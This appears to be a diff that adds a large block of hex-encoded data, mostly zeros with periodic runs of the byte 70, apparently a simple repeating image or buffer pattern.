+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 